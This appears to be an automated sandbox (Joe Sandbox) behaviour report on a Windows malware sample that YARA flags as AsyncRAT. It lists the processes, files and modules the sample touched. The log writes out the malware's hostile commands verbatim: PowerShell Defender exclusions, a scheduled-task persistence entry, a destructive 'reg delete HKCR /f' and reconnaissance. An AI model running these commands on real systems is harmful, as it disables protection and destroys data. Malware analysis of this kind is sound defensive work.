Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBB318 33_2_00007FF789DBB318
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBBF0C 33_2_00007FF789DBBF0C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DC569C 33_2_00007FF789DC569C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DDBDF8 33_2_00007FF789DDBDF8
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DDFD18 33_2_00007FF789DDFD18
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DDC074 33_2_00007FF789DDC074
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE9008 33_2_00007FF789DE9008
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE2F24 33_2_00007FF789DE2F24
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Code function: 34_2_00007FF848C51D81 34_2_00007FF848C51D81
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Code function: 34_2_00007FF848C523D4 34_2_00007FF848C523D4
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5869B2 39_2_00000207DE5869B2
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5870DC 39_2_00000207DE5870DC
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5869F2 39_2_00000207DE5869F2
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe 7C4283F5E620B2506BCB273F947DEF4435D95E143AE3067A783FD3ADC873A659
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe EBBCB489171ABFCFCE56554DBAEACD22A15838391CBC7C756DB02995129DEF5A
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7376 -s 2148
Sample file is different than original file name gathered from version info
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameBootstrapperV22.exe4 vs 8svMXMXNRn.exe
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E41A1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs 8svMXMXNRn.exe
Uses reg.exe to modify the Windows registry
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\reg.exe reg delete HKCR /f
Yara signature match
Source: 2.0.BootstrapperV21.exe.750000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.2035345072.0000000000752000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\explorer.exe, type: DROPPED Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe, type: DROPPED Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: BootstrapperV21.exe.0.dr, 65bWXagIT9MC7apne2lv4JhVNzwdT.cs Cryptographic APIs: 'TransformFinalBlock'
Source: BootstrapperV21.exe.0.dr, SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.cs Cryptographic APIs: 'TransformFinalBlock'
Source: BootstrapperV21.exe.0.dr, SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.cs Cryptographic APIs: 'TransformFinalBlock'
Source: explorer.exe.2.dr, 65bWXagIT9MC7apne2lv4JhVNzwdT.cs Cryptographic APIs: 'TransformFinalBlock'
Source: explorer.exe.2.dr, SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.cs Cryptographic APIs: 'TransformFinalBlock'
Source: explorer.exe.2.dr, SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.BootstrapperV21.exe.1b4c0000.3.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.BootstrapperV21.exe.1b4c0000.3.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.BootstrapperV21.exe.1b460000.2.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.BootstrapperV21.exe.1b460000.2.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: BootstrapperV21.exe.0.dr, iE2JG8OyzoUgBKQJy6KnMXFpYrHoU2FZ7MRP4mITsrlhsV9Gt1A6RK4AAqykDpnKsG9wGtnz2w903OpUVP5W4K.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BootstrapperV21.exe.0.dr, iE2JG8OyzoUgBKQJy6KnMXFpYrHoU2FZ7MRP4mITsrlhsV9Gt1A6RK4AAqykDpnKsG9wGtnz2w903OpUVP5W4K.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: explorer.exe.2.dr, iE2JG8OyzoUgBKQJy6KnMXFpYrHoU2FZ7MRP4mITsrlhsV9Gt1A6RK4AAqykDpnKsG9wGtnz2w903OpUVP5W4K.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: explorer.exe.2.dr, iE2JG8OyzoUgBKQJy6KnMXFpYrHoU2FZ7MRP4mITsrlhsV9Gt1A6RK4AAqykDpnKsG9wGtnz2w903OpUVP5W4K.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.rans.troj.spyw.evad.winEXE@49/237@9/8
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF63739B6D8 GetLastError,FormatMessageW,LocalFree, 0_2_00007FF63739B6D8
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B8624 FindResourceExW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree, 0_2_00007FF6373B8624
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File created: C:\Users\user\AppData\Roaming\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\explorer.exe Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7376
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6520:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1336:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Mutant created: \Sessions\1\BaseNamedObjects\7nc7tjVArvQPrtQg
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6524
Source: C:\Users\user\Desktop\8svMXMXNRn.exe File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6729546 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\script.vbs"
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe
Source: 8svMXMXNRn.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\8svMXMXNRn.exe File read: C:\Windows\win.ini Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 8svMXMXNRn.exe ReversingLabs: Detection: 65%
Source: 8svMXMXNRn.exe Virustotal: Detection: 76%
Source: C:\Users\user\Desktop\8svMXMXNRn.exe File read: C:\Users\user\Desktop\8svMXMXNRn.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\8svMXMXNRn.exe "C:\Users\user\Desktop\8svMXMXNRn.exe"
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe"
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe" --oldBootstrapper "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" --isUpdate true
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BootstrapperV21.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7376 -s 2148
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\user\AppData\Roaming\explorer.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe "C:\Users\user\AppData\Roaming\explorer.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe "C:\Users\user\AppData\Roaming\explorer.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe C:\Users\user\AppData\Roaming\explorer.exe
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe C:\Users\user\AppData\Roaming\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Users\user\AppData\Local\Temp\voosiq.exe "C:\Users\user\AppData\Local\Temp\voosiq.exe"
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Users\user\AppData\Local\Temp\TrojanXD.exe "C:\Users\user\AppData\Local\Temp\TrojanXD.exe"
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\script.vbs"
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\reg.exe reg delete HKCR /f
Source: unknown Process created: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe "C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe" -ServerName:Microsoft.ZuneMusic.AppX48dcrcgzqqdshm3kf61t0cm5e9pyd6h6.mca
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6524 -s 1264
Source: unknown Process created: C:\Users\user\AppData\Roaming\explorer.exe C:\Users\user\AppData\Roaming\explorer.exe
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe" Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BootstrapperV21.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\explorer.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\user\AppData\Roaming\explorer.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Users\user\AppData\Local\Temp\voosiq.exe "C:\Users\user\AppData\Local\Temp\voosiq.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe" --oldBootstrapper "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" --isUpdate true Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Users\user\AppData\Local\Temp\TrojanXD.exe "C:\Users\user\AppData\Local\Temp\TrojanXD.exe"
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\script.vbs"
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\reg.exe reg delete HKCR /f
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: dxgidebug.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: msasn1.dll Jump to behavior
